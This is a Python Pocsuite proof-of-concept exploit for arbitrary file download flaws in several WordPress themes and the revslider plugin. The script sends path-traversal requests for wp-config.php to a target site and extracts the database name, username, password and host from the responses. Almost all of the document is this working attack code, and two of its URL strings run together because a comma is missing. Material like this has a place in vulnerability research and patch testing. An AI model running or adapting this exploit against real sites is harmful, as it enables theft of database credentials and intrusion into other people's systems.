Wordpress多个主题任意文件下载漏洞

                                                #!/usr/bin/env python
# coding: utf-8

import re

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '1679'  # vul ID
    version = '1'
    author = ['zhengdt']
    vulDate = '2014-10-06'
    createDate = '2014-10-13'
    updateDate = '2014-10-13'
    references = ['http://www.beebeeto.com/pdb/poc-2014-0222/']
    name = 'WordPress Multiple themes /download.php Arbitrary File Download POC'
    appPowerLink = 'http://www.wordpress.org'
    appName = 'WordPress'
    appVersion = ''
    vulType = 'Arbitrary File Download'
    desc = '''
        Wordpress 插件造成的各种各样的任意文件下载，可以获取数据库
        账号密码，造成信息泄露。
    '''

    samples = ['']

    def _attack(self):
        return self._verify()

    def _verify(self):
        result = {}
        urls = [
            '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php',
            '/wp-content/force-download.php?file=../wp-config.php',
            '/wp-content/themes/acento/includes/view-pdf.php?download=1&file=../../../../wp-config.php',
            '/wp-content/themes/SMWF/inc/download.php?file=../wp-config.php',
            '/wp-content/themes/markant/download.php?file=../../wp-config.php',
            '/wp-content/themes/yakimabait/download.php?file=./wp-config.php',
            '/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php',
            '/wp-content/themes/felis/download.php?file=../wp-config.php',
            '/wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php',
            '/wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php'
            '/wp-content/themes/epic/includes/download.php?file=wp-config.php',
            '/wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php',
            '/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php',
            '/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php',
            '/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php',
            '/wp-content/themes/lote27/download.php?download=../../../wp-config.php',
            '/wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php',
        ]
        match_db = re.compile('define\(\'DB_[\w]+\', \'(.*)\'\);')
        for url in urls:
            db_data = match_db.findall(req.get(self.url + url).content)
            if db_data:
                result['Database'] = {}
                result['Database']['DBname'] = db_data[0]
                result['Database']['Username'] = db_data[1]
                result['Database']['Password'] = db_data[2]
                result['Database']['Hostname'] = db_data[3]
                break

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)